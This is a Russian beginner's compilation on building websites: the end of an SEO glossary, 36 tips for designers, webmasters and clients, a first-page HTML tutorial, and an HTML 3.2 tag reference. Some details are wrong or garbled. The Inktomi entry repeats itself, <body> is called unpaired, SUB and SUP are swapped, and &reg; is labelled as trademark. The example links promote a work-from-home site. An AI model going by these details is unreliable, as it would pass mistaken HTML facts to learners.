Титул. Содержимое тега <title>. Отображается в качестве заголовка окна браузера при демонстрации страницы и в качестве заголовка найденной страницы в результатах поиска. Поисковые системы в листе ответов используют текст титула для оформления ссылки на сайт, соответствующий запросу пользователя. Размещение ключевых слов в титуле страницы повышает ее релевантность по данным словам.
Точка входа. Страница вашего сайта, на которую зашел новый посетитель вашего ресурса. Точка входа важна для анализа привлекательности оптимизированных страниц.
Точка выхода. Страница вашего сайта, с которой посетитель вашего ресурса покинул сайт после просмотра. Точка выхода важна для анализа привлекательности всего сайта.
Тэг комментария. (<- … — >) Текст, размещенный в коде веб-страницы как комментарий, не отображается в браузере. Большинство поисковых систем игнорируют текст внутри комментария, но некоторые, например, Excite, индексируют его. Таким образом, помещая ключевые слова в комментарий, можно повысить рейтинг страницы в Excite.
— У —
Уникальный посетитель. Термин для обозначения пользователя сети Интернет, совершившего визит на сайт с конкретного компьютера, с помощью определённого программного обеспечения (браузера), впервые в течение определённого срока (суток, последнего часа и т. п.).
— Ф —
Фрейм. Часть веб-страницы, построенной на основе фреймов. Идеология фреймов напоминает окна операционной системы, привязанные к одному месту веб-страницы — пользователь может менять любое из окон, в то время как остальные остаются неизменными. Фреймы предназначены для сайтов со сложной навигацией; не рекомендуется использовать их в других случаях, т. к. из-за особенностей фреймовой структуры они неудобны для роботов поисковых машин. Большинство поисковых систем некорректно индексируют фреймы — они индексируют лишь текст, находящийся в дескрипторе (тэге) NOFRAMES. Страницы со фреймами, в которых отсутствует релевантное содержимое данного тэга вряд ли хорошо будут отображаться в поисковых системах.
— Х —
Хит. Обращение браузера к веб-серверу. Обычно употребляется в более узком смысле — обращение к веб-странице (документу типа. html, php, cgi, asp и т. д.), исключая, таким образом, запросы к файлам, содержащим графические изображения, служебные запросы и т. д.
Холл. (hallway page) — страница, содержащая обратные связи к входным страницам.
Хост. IP-адрес посетителя, впервые зафиксированный веб-сервером или сервисом статистики в течение определённого периода времени (суток, часа). Один уникальный посетитель может засчитаться как один хост (если он имеет выделенный только для него IP-адрес), не считаться хостом вообще (если IP-адрес закреплен за группой пользователей, к примеру, за прокси сервером, с помощью которого несколько пользователей осуществляют доступ в Интернет, и с этого адреса уже было зафиксировано посещение) или считаться за несколько хостов (если IP выделяется пользователю динамически, скажем, при доступе через dialup connection).
— Ц —
Целевая аудитория. Некоторая группа людей, которая проявляет заинтересованность услугами (товарами, содержанием сайта и т. д.), т. е. представляет собой потенциальных клиентов.
Целевой переход. Переход по ссылке на ресурс, интересующий потенциального клиента (пользователя).
Целевые посетители. Это посетители сайта, являюшиеся потенциальными клиентами, то есть людьми, желаюшими сделать ту или иную покупку. Являются самыми желанными, все действия по раскрутке совершаются для привлечения целевых посетителей на свой сайт.
— Ч —
Частота ключевого слова. (keyword frequency) — встречаемость, частота использования. Сколько раз встречается данное ключевое слово на странице.
— Ю —
Юзабилити. Калька с английского usability, означает удобство использования сайта.
— Я —
Ядро аудитории. Постоянные посетители, заинтересованные в услугах, товарах или содержании сайта.
— A —
Account. Вход в систему или имя пользователя в системе, понимаемые как совокупность прав пользователя по отношению к многопользовательской системе, образующихся после его регистрации в виде своеобразной «учетной записи» на компьютере провайдера и подразумевающих наличие собственного имени для входа, пароля, домашнего каталога.
Active Content. Музыка, кинофильмы и интерактивные документы на WWW-сервере.
Advanced search. (На поисковых серверах) Усложненный запрос из нескольких слов.
Alt. (alt tag) — тэг альтернативного текста, который показывает браузер, когда пользователь не хочет к или не может видеть изображение на веб-странице. Использование в коде страницы alt-тэгов, содержащих ключевые слова (keywords), может повысить рейтинг страницы в листе ответов поисковой системы.
Article. Отдельная публикация, содержащаяся в каком-либо ином информационном ресурсе Internet.
ASCII. Универсальный машинный код для букв английского алфавита и знаков (в компьютерах вся информация хранится в виде двоичных чисел). В случае, когда употребляется выражение «передать ASCII-файл», то это означает, что необходимо передать текстовой файл без специальных знаков форматирования и прочих служебных символов, которыми отличаются современные редакторы. Иногда ASCII-файл — это просто противопоставление двоичному файлу (binary).
— B —
Back-office. Интеграция информационно-учетной системы компании с интернет, информация об онлайновых заказах на закупку/продажу автоматически поступает для обработки во внутреннюю систему.
— C —
Cookie. Небольшой файл, создаваемый браузером пользователя (по указанию программного обеспечения на веб-сервере), содержащий определённые данные. Как правило, используется для определения уникальности пользователя, времени его последнего визита, личных настроек, сделанных пользователем.
CTR. Сокращение от английского Click-Through-Ratio. Отношение числа кликов по рекламному материалу или ссылке к числу их показов посетителям. Выражается в процентах.
— D —
DNS. Domain Name Service — это распределенная иерархическая база данных, содержащая информацию об именах серверов Интернета и позволяющая по имени системы определить ее IP-адрес. Иерархическая организация DNS наглядно проявляется в структуре доменного адреса. Каждый из разделенных точками компонентов адреса соответствует домену (или зоне), где за поддержание порядка несет ответственность та или иная организация. Первым (справа) идет так называемый домен верхнего уровня, например. ru или. corn. За созданием и работой доменов верхнего уровня следит международная некоммерческая орга-низация ICANN (www.icann.org). Домены верхнего уровня существуют практически для всех признанных ООН государств и территорий. Все они состоят из двух букв, а их поддержкой в каждой стране по поручению ICANN занимается специальная организация. В России такой организацией является РосНИИРОС. Кроме доменов для стран, существует ряд глобальных доменов верхнего уровня.
— I —
Inktomi. Очень большая иностранная база данных о сайтах, используемая некоторыми большими поисковыми системами, например, HotBot, MSN. Yahoo использует Iktomi в случаях, когда не находит в своей базе ответа, соответствующего ключевому слову запроса пользователя. Дополнительная информация на сайте база данных о сайтах, используемая некоторыми большими поисковыми системами, например, HotBot, MSN. Yahoo использует Iktomi в случаях, когда не находит в своей базе ответа, соответствующего ключевому слову запроса пользователя. Дополнительная информация на сайте база данных о сайтах, используемая некоторыми большими поисковыми системами, например, HotBot, MSN. Yahoo использует Iktomi в случаях, когда не находит в своей базе ответа, соответствующего ключевому слову запроса пользователя. Дополнительная информация на сайте http://www.inktomi.com.
— J —
JavaScript. Язык программирования, обычно используемый в веб-страницах для создания подпрограмм (скриптов). Скрипты поисковые системы не индексируют.
— F —
Flash, Флэш. Дополнительный бесплатный модуль к браузеру (плагин), разработанный компанией Macromedia, который даёт возможность просматривать страницы и их элементы в формате Flash. Этот формат позволяет отображать векторную графику (которая легко масштабируется до любого размера), воспроизводить звук и т. д. Сайты, сделанные на основе Flash, могут выглядеть очень красиво, но их плохо индексируют поисковые машины.
— P —
PageRank. Алгоритм расчёта авторитетности страницы, а также сам показатель авторитетности в численном выражении.
Pay-per-Click, PPC. Способ оплаты рекламы не за число показов, а за число кликов, то есть полученных посетителей. PPC-поисковики имеют договора с обычными поисковыми системами, и когда пользователь задаёт запрос, ему кроме обычных результатов показываются несколько ссылок PPC-системы, которые соответствуют данному запросу. Это приносит прибыль традиционным поисковикам и существенно расширяет охват PPC-систем.
— R —
Robots.txt. Текстовый файл в корневом каталоге сайта, указывающий роботам, какие страницы сайта надо индексировать. Стандартные роботы будут следовать инструкциям, содержащимся в этом файле.
— S —
SEO. Search engines optimization. Поисковая оптимизация сайта с целью получения высоких мест в результатах поиска по заданным запросам.
SERP. Search engine result page. Результаты поиска. Страница результатов поиска, выдаваемая поисковой системой по запросу пользователя.
— T —
Type in трафик. Способ попадания пользователя на сайт, когда он вручную вводит адрес сайта в поле URL браузера.
— U —
URL. Uniform Resource Locator — уникальный интернет-адрес веб-страницы или какого-то другого интернет-ресурса.

Usability. Удобство использования сайта.



Создание сайта



Создание сайта: 36 советов для всех


Введение
Эта статья посвящена в первую очередь новичкам в Интернете. Я постарался описать основные принципы и дать советы. Возможно гуру прочитав эту статью усмехнуться, но не судите строго, я знаю, что ничего нового вы здесь не увидите поэтому не стоит писать мне гневные письма с обвинениями в некомпетентности. Хочу так-же отметить, что все советы являются моим мнением, основанном на довольно большом опыте работы. Каждый приведенный ниже совет может быть с легкостью оспорен, но я и не утверждаю, что это аксиомы. Если у вас есть мнение по поводу всего здесь написанного, то я не против его выслушать. Пишите, пожалуйста, мне лично. Ну вот в принципе и все, что хотел сказать. Можете приступать к чтению.
Советы Веб-дизайнеру
1. Делайте то, что от вас хотят видеть.
Клиент всегда прав. Если вам говорят сделать желтый текст на красном фоне, извольте покрутиться и не растерять читабельность с привлекательностью.

2. Не увлекайтесь графикой.
Графика это хорошо, но ведь существуют и другие вещи. Поэкспериментируйте с цветными таблицами и CSS. Разгрузите ваш сайт и старайтесь придерживаться планки до 50kb на страницу.

3. Держите стиль.
При создании дизайна пляшите от тематики. Есть такое понятие, как стиль. Он должен пронизывать весь сайт. Для корпоративных сайтов мягкий дизайн, для развлекательных веселый и обязательно для всех уникальный

4. Дизайн не должен быть литым.
Не сковывайте дизайном информативность сайта. Рано или поздно какую-нибудь менюшку убирут или добавят, а тексты поменяют

5. Уделяйте внимание мелочам.
Маркеры, полоски, значки и прочие мелкие элементы, готовьте с особой тщательностью. Подгоняйте их под общую картину и вы достигнете хороших результатов.

6. Удобная навигация — залог успеха.
Пользователь не должен часами бродить по вашему сайту (хотя было-бы неплохо…), это раздражает. Для небольших сайтов можно ограничиться навигационной полоской с выходами к основным разделам, а для сайтов с глубокой структурой стоит делать, что-то помощнее. Неплохо даже подумать о функции поиска.

7. Ваш броузер не единственный, разрешение экрана не уникально.
Созданный вами сайт должен читаться при 256 цветах, на трех разрешениях экрана (640х480, 800х600, 1024х768) и пониматься двумя основными броузерами.

8. Если заказчик не может сформулировать задачу, дайте волю фантазии.
Бывают случаи, когда заказчик ничего не понимает в Интернет и соответственно не может четко сформулировать, чего он хочет. Не стоит отчаиваться, дайте волю фантазии, проявите себя и постарайтесь не разочаровать своего клиента.

9. Любите себя в меру.
Авторские права — это хорошо, но если любовь к себе превращается в манию это уже плохо. Влепите копирайт в самом низу титульной страницы и остановитесь. Не надо подписывать все страницы, да еще и комментарии в гифы пихать. В конце концов, кому страничку делаем?

10. Дизайн не должен портить жизнь Веб-мастеру.
Создав сайт, доходчиво объясните Веб-мастеру о том, как его не развалить. У всех есть свои секреты и неординарные приемы. Веб-мастер должен их знать.

11. Точность — вежливость королей.
Графический дизайн сайта должен быть подогнан с точностью до одного пикселя. Не ленитесь, пусть работы будет больше, но и эффект значительно солидней.

12. Авторские права не шутка.
Не стоит воровать чужую графику. Во первых это не хорошо, а во вторых если не умеешь делать сам, то какой же ты дизайнер!
Советы Веб-мастеру
1. На сайте все должно быть на своих местах.
Четко следите за структурой сайта. Не сваливайте все в общую кучу. Если пользователь не разберется где, что лежит, то он к вам не вернется.

2. Не выкладывайте все на одну страницу.
Имеет смысл разбивать большие страницы на более мелкие. Почти вся Россия ходит в интернет через dial-up и вид бегунка на полосе прокрутки броузера превратившегося в пиксел, вряд ли побудит к вдумчевому чтению.

3. Работайте в рамках дизайна.
Дизайнер делает сайт, а вы отвечаете за его работоспособность. Прежде чем, что-то реконструировать свяжитесь с дизайн-студией и согласуйте перемены с ней.

4. Отвечайте на все(!) письма посетителей.
По своей работе вы наверняка получаете массу писем от пользователей с предложениями, замечаниями или жалобами. Не ленитесь, напишите ответ, пусть это будут примитивные фразы такие, как: «Большое спасибо» или «Мы это обязательно учтем». Сделав этот нехитрый номер вы 100 % получаете постоянного посетителя, который к тому же приведет к вам всех своих друзей.

5. Чем чаще обновления, тем больше посетителей.
Как можно чаше обновляйте ваш сайт. Никто не хочет читать одно и тоже. Даже если нет ничего нового, попробуйте сменить приветственную речь или комментарии под картинками. Эффектно, так же смотрится колонка новостей с датами обновления, особенно если эти даты еще не ушли в историю.

6. Работайте оперативно.
Информация, размещенная на вашем сайте, должна обновляться в считанные часы. Услышав о чем-то интересном, пользователь будет искать это через поисковую машину и если в списке найденного ваш сайт будет на самом верху, то будьте уверены, постоянный посетитель вам обеспечен.

7. Никакой отсебятины.
Если у вас новостной, информационный сайт, то старайтесь избегать предвзятости. Даже если вам не нравиться какое-либо событие не приписывайте к нему свежепредуманные факты. Пусть будет, как оно есть (AS IS:), а посетители и без вас во всем разберутся.

8. Ваша настольная книга — орфографический словарь.
Старайтесь избегать ошибок и опечаток. Это настолько режет глаза и, так понижает солидность, что вам и в страшном сне не снилось. Возможно, стоит установить программу проверки орфографии или договориться с редактором.

9. ИМХО сабж рулез или пишите по-русски.
Сленгу — нет! Мало того, что он не смотриться, так еще и часть ваших посетителей ничего не поймет. Конечно, слабенький жаргон типа: метр, прога или аська еще употребимы, но закаленный фидошный сленг стоит исключить.

10. Не пишите чепухи.
Не публикуйте на сайте сомнительную информацию или вообще полнейшую чушь. Пару раз прочитав липу посетитель в вас разочаруется и уйдет к вашим конкурентам. Ну, а если очень хочется, то вставляете подпись «Из непроверенных источников» и спите спокойно.

11. Счетчики, рейтинги и баннеры не последние вещи.
Если студия создавшая сайт не занималась его раскруткой, то это придется делать вам. Наиболее эффективный расскруткой на мой взгляд являются рейтинги. Вам абсолютно ничего не надо делать, чтоб заманивать посетителей. На второе место я бы поставил баннерную рекламу, но создание баннера процесс тонкий и деликатный, которым должны заниматься профессионалы. На там дальше по эффективности можно поставить каталоги, поисковые машины и т. п.

12. Будьте вежливы.
Если вам в 101 раз пишут о какой-либо неполадке, которую вы уже устраняете, не стоит посылать автора письма в одно известное место, он же для вас старается. Черкните ему фразу «Спасибо, вы нам безмерно помогли» и всем будет приятно.
Советы Заказчику
1. Вам действительно нужен сайт?
Прежде, чем поднимать на уши дизайнеров и программистов, тратив при этом немалые деньги, подумайте хорошенько зачем он вам. Возможно, что вам нужен простой e-mail.

2. Четко формулируйте задачи.
Не бойтесь загружать дизайнера работой. Ведь именно за этим вы его нанимали. Четко описывайте, что нужно сделать и, как вы это себе представляете. Ему намного проще работать зная, что он делает.

3. Дизайнер должен иметь все.
Логотипы, значки, слоганы, копирайты это все и не только это должно быть в распоряжении дизайнера. Выдайте это в первую очередь. Органично вписать логотип в готовый дизайн очень сложно, а зачастую просто невыполнимо.

4. Как можно чаще давайте информация Веб-мастеру.
Ваш Веб-мастер второй после вас человек, который должен узнавать свежие новости. Чем быстрее вы передадите ему информацию, тем оперативней он будет работать, и тем больше посетителей к вам заглянут.

5. Не работайте с не внушающими доверия студиями.
Многие товарищи, чуть освоив свой Front Page (или, что там у них), быстренько клепают странички, называют себя Design Studio и ждут клиентов. Послушайте добрый совет — даже и не думайте связываться. Дизайнер должен уметь все делать своими руками и понимать, что он делает.

6. Одиночки — большая редкость.
Дизайнеры одиночки очень редки (я имею в виду именно профессионалов). Справиться с сайтом в одиночку теоретически можно, но практически… С вами должна работать команда, в которой у каждого четко определенная роль.

7. Дизайнера не должны пугать такие слова, как: CGI, SSI и ASP.
Если вы хотите получить по настоящему мощный, динамичный и информативный сайт, то простым HTML вы не отделаетесь. Погоняйте потенциального Веб-дизайнера на знание терминов и технологий. Отговорки типа: «это вам абсолютно не нужно» или «зачем такая роскошь» принимать не стоит. Дизайнер, как минимум должен свободно владеть HTML, JavaScript и CSS.

8. Позаботьтесь обо всем заранее.
Готовый сайт еще не все Даже если он у вас на руках, вам надо позаботиться о куче вещей, таких например, как: доменное имя, хостинг, рекламные кампании и о многом другом.

9. Не сковывайте фантазию.
Не бойтесь фантазировать. Хороший дизайнер может воплотить любую вашу мечту (и для этого есть все средства). Если ваш дизайнер заявляет, что не может работать на таком уровне, то скорее всего вы работаете с непрофессионалом.

10. Не надо довить на людей.
Работа над сайтом очень трудоемка. На изготовление любой мелочи могут уходить часы. Не торопите дизайнера! В противном случае вы расчитываете получить блеклую штамповку.

11. Веб-мастер и Веб-дизайнер, не одно и тоже.
Эти профессии настолько различны, насколько созвучны их названия. Веб-дизайнер ваш сайт делает, а Веб-мастер поддерживает. Почувствуйте разницу и с жалобами обращайтесь по адресу.

12. Заботьтесь о вашем сайте
Не дайте умереть вашему сайту. Даже если это просто визитная карточка с расширенными возможностями, хоть изредка обновляйте его и удаляйте застоявшуюся информацию. Пусть ваши клиенты видят, что вы работаете, а не сидите сложа руки.

HTML редактор


Итак. Начали.
Для создания web-страницы набираем специальный код на языке HTML. Запустите любой текстовый редактор, например Блокнот, входящий в Windows (Пуск- Программы- Стандартные — Блокнот). или качаем более продвинутый(бесплатный) редактор с нашего сайта webmasteruvse.ru
Теперь наберите в нем этот «текст»:

<html>
<head>
<title></title>
</head>
<body>
</body>
</html>

То что Вы набрали — является минимальным «набором» для создания страницы. В дальнейшем при создании web-страниц Вы можете просто копировать его на новую страницу для облегчения работы.
Теперь поясним набранное. Команды, заключенные в <>, называются тегами. Теги бывают парные и не парные. Парные теги состоят из открывающего тега и закрывающего. Например тег <html> — открывающий тег, а </html> — закрывающий. Как видите разница в открывающем и закрывающем теге всего лишь в /.
Не парные теги состоят только из открывающего тега. Например тег <body>. Между тегами <title> и </title> напишите название Вашей странички. Например вот так:

<html>
<head>
<title> HTML редактор. </title>
</head>
<body>
</body>
</html>

Теперь между тегами <body> и </body> напишите то, что Вы хотите разместить на Вашей странице, например так:

<html>
<head>
<title> HTML редактор. </title>
</head>
<body>
Приветствую Вас на моей страничке! Здесь Вы найдете много интересного. </body>
</html>

Сохраните набранное в виде файла с расширением htm или html, например page1.html в отдельной папке.
Далее запустите сохраненный Вами файл page1.html или откройте его в Internet Explorer.
Поздравляем! Вы только что создали свою первую интернет-страницу.
Теперь идем дальше. Давайте поменяем цвет фонана Вашей страничке. Цвет фона задается в теге body, и записывается в 16-ричной системе., где каждая из цифр или букв означает «количество» основных цветов — RGB — Red Green Blue.
Например <body bgcolor="#000000"> означает что цвет фона будет состоять из 00-красного, 00-зеленого, и 00 — голубого. Таким образом мы получим черный цвет.
Белый цвет фона кодируется так <body bgcolor="#FFFFFF">
Красный цвет фона кодируется так <body bgcolor="#FF0000">
Зеленый цвет фона кодируется так <body bgcolor="#00FF00">
Синий цвет фона кодируется так <body bgcolor="#0000FF">
Различные комбинации позволяют получить практически любой цвет фона. Например
Такой цвет <body bgcolor="#0 °CC99">
Такой цвет <body bgcolor="#FF9999">
и т. д.
Итак, добавьте параметр в тег body, например вот так:

<html>
<head>
<title> Моя первая страничка в Интернет. </title>
</head>
<body bgcolor="#CC0000">
Приветствую Вас на моей страничке! Здесь Вы найдете много интересного. </body>
</html>

Сохраните страничку и запустите ее опять в Internet Explorer.
Поэкспериментируйте с параметром bgcolor.
Если Вы хотите разделить набранный Вами текст на части…т. е. сделать на странице операцию подобную нажатию кнопки Enter в текстовом редакторе — для этого нужно использовать не парный тег <br>
Разделим наш текст на несколько строк, например вот так:
<html>
<head>
<title> HTML редактор. </title>
</head>
<body bgcolor="#CC0000">
Приветствую Вас на моей страничке! <br> Здесь Вы найдете много интересного. </body>
</html>

ну или, чтобы это выглядело более читаемо, вот так:

<html>
<head>
<title> HTML редактор.</title>
</head>
<body bgcolor="#CC0000">
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
</body>
</html>

Сохраните страничку и посмотрите ее в Internet Explorer.
Для того чтобы выровнять по центру содержимое Вашей странички, используется парный тег center.
Поставим открывающий тег <center> перед содержимым странички, а тег </center> после содержимого странички, вот так:

<html>
<head>
<title> html редактор.</title>
</head>
<body bgcolor="#CC0000">
<center>
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
</center>
</body>
</html>

Сохраните файл, откройте его в Internet Explorer и посмотрите что получилось.
Теперь установим цвет текста для Вашей странички. Цвет текста задается в теге body, например вот так text="#FFFF00"
Добавим этот параметр после параметра цвета фона.

<html>
<head>
<title> html редактор.</title>
</head>
<body bgcolor="#CC0000" text="#FFFF00">
<center>
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
</center>
</body>
</html>

Теперь вставим какую-либо картинку на Вашу страницу.
Для размещения картинки на Вашей страничке вставляем вот этот код <img src="golub.jpg"> в страничку.

<html>
<head>
<title> Моя первая страничка в Интернет.</title>
</head>
<body bgcolor="#CC0000" text="#FFFF00">
<center>
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
<img src="golub.jpg">
</center>
</body>
</html>

Сохраните файл, откройте его в Internet Explorer и посмотрите что получилось.
Как видите, картинки вставляются в интернет-страничку с помощью тега img,где в параметре src указывается файл картинки.
Теперь вставим ссылку, при нажатии на которую посетитель сайта пойдет на другую страничку Вашего сайта или вообще на другой сайт, т. е. гиперссылку. Добавим текст после нашей картинки, при нажатии на который будет совершен переход на другой сайт. Для вставки гиперссылок используется парный тег.

<html>
<head>
<title> Моя первая страничка в Интернет.</title>
</head>
<body bgcolor="#CC0000" text="#FFFF00">
<center>
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
<img src="golub.jpg"> <br>
<a href=http://unionsofttrade.com> Ищете работу на дому? Нажмите здесь!</a>
</center>
</body>
</html>

Если например Вы хотите сделать чтобы картинка являлась гиперссылкой то сделайте так:

<html>
<head>
<title> Моя первая страничка в Интернет.</title>
</head>
<body bgcolor="#CC0000" text="#FFFF00">
<center>
Приветствую Вас на моей страничке! <br>
Здесь Вы найдете много интересного. <br>
<a href=http://unionsofttrade.com> <img src="golub.jpg"> <br>
Ищете работу на домашнем компьютере? Щелкните здесь!</a>
</center>
</body>
</html>

ПОЗДРАВЛЯЕМ!
Вы прошли начальный курс вебмастера и теперь можете делать простейшие страницы и с их помощью начать зарабатывать деньги!

Краткое руководство по HTML 3.2


БАЗИСНЫЕ ЭЛЕМЕНТЫ
Тип документа <HTML></HTML> (начало и конец файла)
Имя документа <TITLE></TITLE> (должно быть в заголовке)
Заголовок <HEAD></HEAD> (описание документа, например его имя)
Тело <BODY></BODY> (содержимое страницы)
ОПРЕДЕЛЕНИЕ СТРУКТУРЫ
Заглавие <H?></H?> (стандарт определяет 6 уровней)
с выравниванием <H? ALIGN=LEFT|CENTER|RIGHT></H?>
Секция <DIV></DIV>
с выравниванием <DIV ALIGN=LEFT|RIGHT|CENTER></DIV>
Цитата <BLOCKQUOTE></BLOCKQUOTE> (обычно выделяется отступом)
Выделение <EM></EM> (обычно изображается курсивом)
Дополнительное выделение <STRONG></STRONG> (обычно изображается жирным шрифтом)
Отсылка, цитата <CITE></CITE> (обычно курсив)
Код <CODE></CODE> (для листингов кода)
Пример вывода <SAMP></SAMP>
Ввод с клавиатуры <KBD></KBD>
Переменная <VAR></VAR>
Определение <DFN></DFN> (часто не поддерживается)
Адрес автора <ADDRESS></ADDRESS>
Большой шрифт <BIG></BIG>
Маленький шрифт <SMALL></SMALL>
ВНЕШНИЙ ВИД
Жирный <B></B>
Курсив <I></I>
(N3.0b) Подчеркнутый <U></U> (часто не поддерживается)
Перечеркнутый <STRIKE></STRIKE> (часто не поддерживается)
(N3.0b) Перечеркнутый <S></S> (часто не поддерживается)
Верхний индекс <SUB></SUB>
Нижний индекс <SUP></SUP>
Печатная машинка <TT></TT> (изображается как шрифт фиксированой ширины)
Форматированый <PRE></PRE> (сохранить формат текста как есть)
Ширина <PRE WIDTH=?></PRE> (в символах)
Центрировать <CENTER></CENTER> (как текст, так и графика)
(N1.0) Мигающий <BLINK></BLINK> (наиболее осмеянный элемент)
Размер шрифта <FONT SIZE=?></FONT> (от 1 до 7)
Изменить размер шрифта <FONT SIZE="+|-?"></FONT>
(N1.0) Базовый размер шрифта <BASEFONT SIZE=?> (от 1 до 7; по умолчанию 3)
Цвет шрифта <FONT COLOR="#$$$$$$"></FONT>
(N3.0b) Выбор шрифта <FONT FACE="***"></FONT>
(N3.0b) Многоколоночный текст <MULTICOL COLS=?></MULTICOL>
(N3.0b) Пробел между колонками <MULTICOL GUTTER=?></MULTICOL> (по умолчанию 10 точек)
(N3.0b) Ширина колонки <MULTICOL WIDTH=?></MULTICOL>
(N3.0b) Пустой блок <SPACER>
(N3.0b) Тип пустого блока <SPACER TYPE=horizontal| vertical|block>
(N3.0b) Величина пустого блока <SPACER SIZE=?>
(N3.0b) Размеры пустого блока <SPACER WIDTH=? HEIGHT=?>
(N3.0b) Выравнивание <SPACER ALIGN=left|right|center>
ССЫЛКИ И ГРАФИКА
Ссылка <A HREF="URL"></A>
Ссылка на закладку <A HREF="URL#***"></A> (в другом документе)
<A HREF="#***"></A> (в том же документе)
(N2.0) На другое окно <A HREF="URL" TARGET="***| |_blank|_self|_parent|_top"></A>
Определить закладку <A NAME="***"></A>
Отношение <A REL="***"></A> (часто не поддерживается)
Обратное отношение <A REV="***"></A> (часто не поддерживается)
Графика <IMG SRC="URL">
Выравнивание <IMG SRC="URL" ALIGN=TOP|BOTTOM|MIDDLE|LEFT|RIGHT>
(N1.0) Выравнивание <IMG SRC="URL" ALIGN=TEXTTOP| ABSMIDDLE|BASELINE|ABSBOTTOM>
Альтернатива <IMG SRC="URL" ALT="***"> (выводится если картинка не изображается)
Карта <IMG SRC="URL" ISMAP> (нужна также программа)
Локальная карта <IMG SRC="URL" USEMAP="URL">
Определение карты <MAP NAME="***"></MAP>
Области карты <AREA SHAPE="RECT" COORDS="," HREF="URL"|NOHREF>
Размеры <IMG SRC="URL" WIDTH=? HEIGHT=?> (в точках)
Окантовка <IMG SRC="URL" BORDER=?> (в точках)
Отступ <IMG SRC="URL" HSPACE=? VSPACE=?> (в точках)
(N1.0) Заменитель в низком разрешении <IMG SRC="URL" LOWSRC="URL">
(N1.1) Обновить <META HTTP-EQUIV="Refresh" CONTENT="?; URL=URL">
(N2.0) Включить об'ект <EMBED SRC="URL"> (вставить об'ект в страницу)
(N2.0) Размер об'екта <EMBED SRC="URL" WIDTH=? HEIGHT=?>
РАЗДЕЛИТЕЛИ
Параграф <P></P> (закрывать элемент часто не обязательно)
Выравнивание <P ALIGN=LEFT|CENTER|RIGHT></P>
Новая строка <BR> (одиночный перевод строки)
Убрать выравнивание <BR CLEAR=LEFT|RIGHT|ALL>
Горизонтальный разделитель <HR>
Выравнивание <HR ALIGN=LEFT|RIGHT|CENTER>
Толщина <HR SIZE=?> (в точках)
Ширина <HR WIDTH=?> (в точках)
(N1.0) Ширина в процентах <HR WIDTH="%"> (в процентах от ширины страницы)
Сплошная линия <HR NOSHADE> (без трехмерных эффектов)
(N1.0) Нет разбивки <NOBR></NOBR> (запрещает перевод строки)
(N1.0) Перенос <WBR> (где разбивать строку для переноса при необходимости)
СПИСКИ
Неупорядоченный <UL><LI></UL> (<LI> перед каждым элементом)
Компактный <UL COMPACT></UL>
Тип метки <UL TYPE=DISC|CIRCLE|SQUARE> (для всего списка)
<LI TYPE=DISC|CIRCLE|SQUARE> (этот и последующие)
Нумерованый <OL><LI></OL> (<LI> перед каждым элементом)
Компактный <OL COMPACT></OL>
Тип нумерации <OL TYPE=A|a|I|i|1> (для всего списка)
<LI TYPE=A|a|I|i|1> (этот и следующие)
Первый номер <OL START=?> (для всего списка)
<LI VALUE=?> (этот и следующие)
Список определений <DL><DT><DD></DL> (<DT>=термин, <DD>=определение)
Компактный <DL COMPACT></DL>
Меню <MENU><LI></MENU> (<LI> перед каждым элементом)
Компактное <MENU COMPACT></MENU>
Каталог <DIR><LI></DIR> (<LI>перед каждым элементом)
Компактный <DIR COMPACT></DIR>
ФОН И ЦВЕТА
Фоновая картинка <BODY BACKGROUND="URL">
Цвет фона <BODY BGCOLOR="#$$$$$$"> (порядок: красный/зеленый/синий)
Цвет текста <BODY TEXT="#$$$$$$">
Цвет ссылки <BODY LINK="#$$$$$$">
Пройденная ссылка <BODY VLINK="#$$$$$$">
Активная ссылка <BODY ALINK="#$$$$$$">
СПЕЦИАЛЬНЫЕ СИМВОЛЫ
(обязаны быть в нижнем регистре)
Специальный символ &#?; (где? это код ISO 8859-1)
< &lt;
> &gt;
& &amp;
" &quot;
Торговая марка ТМ &reg;
Copyright &copy;
Неразделяющий пробел &nbsp;
ФОРМЫ
Определить форму <FORM ACTION="URL" METHOD=GET|POST></FORM>
(N2.0) Посылка файла <FORM ENCTYPE="multipart/form-data"></FORM>
Поле ввода <INPUT TYPE="TEXT|PASSWORD|CHECKBOX|RADIO| IMAGE|HIDDEN|SUBMIT|RESET">
Имя поля <INPUT NAME="***">
Значение поля <INPUT VALUE="***">
Отмечен <INPUT CHECKED> (checkboxes и radio boxes)
Размер поля <INPUT SIZE=?> (в символах)
Максимальная длина <INPUT MAXLENGTH=?> (в символах)
Список вариантов <SELECT></SELECT>
Имя списка <SELECT NAME="***"></SELECT>
Число вариантов <SELECT SIZE=?></SELECT>
Множественний выбор <SELECT MULTIPLE> (можно выбрать больше одного)
Опция <OPTION> (элемент который может быть выбран)
Опция по умолчанию <OPTION SELECTED>
Ввод текста, размер <TEXTAREA ROWS=? COLS=?></TEXTAREA>
Имя текста <TEXTAREA NAME="***"></TEXTAREA>
(N2.0) Разбивка на строки <TEXTAREA WRAP=OFF|VIRTUAL|PHYSICAL></TEXTAREA>
ТАБЛИЦЫ
Определить таблицу <TABLE></TABLE>
Окантовка таблицы <table border=?></TABLE>
Расстояние между ячейками <TABLE CELLSPACING=?>
Дополнение ячеек <TABLE CELLPADDING=?>
Желаемая ширина <TABLE WIDTH=?> (в точках)
Ширина в процентах <TABLE WIDTH="%"> (проценты от ширины страницы)
Строка таблицы <TR></TR>
Выравнивание <TR ALIGN=LEFT|RIGHT| CENTER|MIDDLE|BOTTOM>
Ячейка таблицы <TD></TD> (должна быть внутри строки)
Выравнивание <TD ALIGN=LEFT|RIGHT| CENTER|MIDDLE|BOTTOM>
Без перевода строки <TD NOWRAP>
Растягивание по колонке <TD COLSPAN=?>
Растягивание по строке <TD ROWSPAN=?>
(N1.1) Желаемая ширина <TD WIDTH=?> (в точках)
(N1.1) Ширина в процентах <TD WIDTH="%"> (проценты от ширины страницы)
(N3.0b) Цвет ячейки <TD BGCOLOR="#$$$$$$">
Заголовок таблицы <TH></TH> (как данные, но жирный шрифт и центровка)
Выравнивание <TH ALIGN=LEFT|RIGHT| CENTER|MIDDLE|BOTTOM>
Без перевода строки <TH NOWRAP>
Растягивание по колонке <TH COLSPAN=?>
Растягивание по строке <TH ROWSPAN=?>
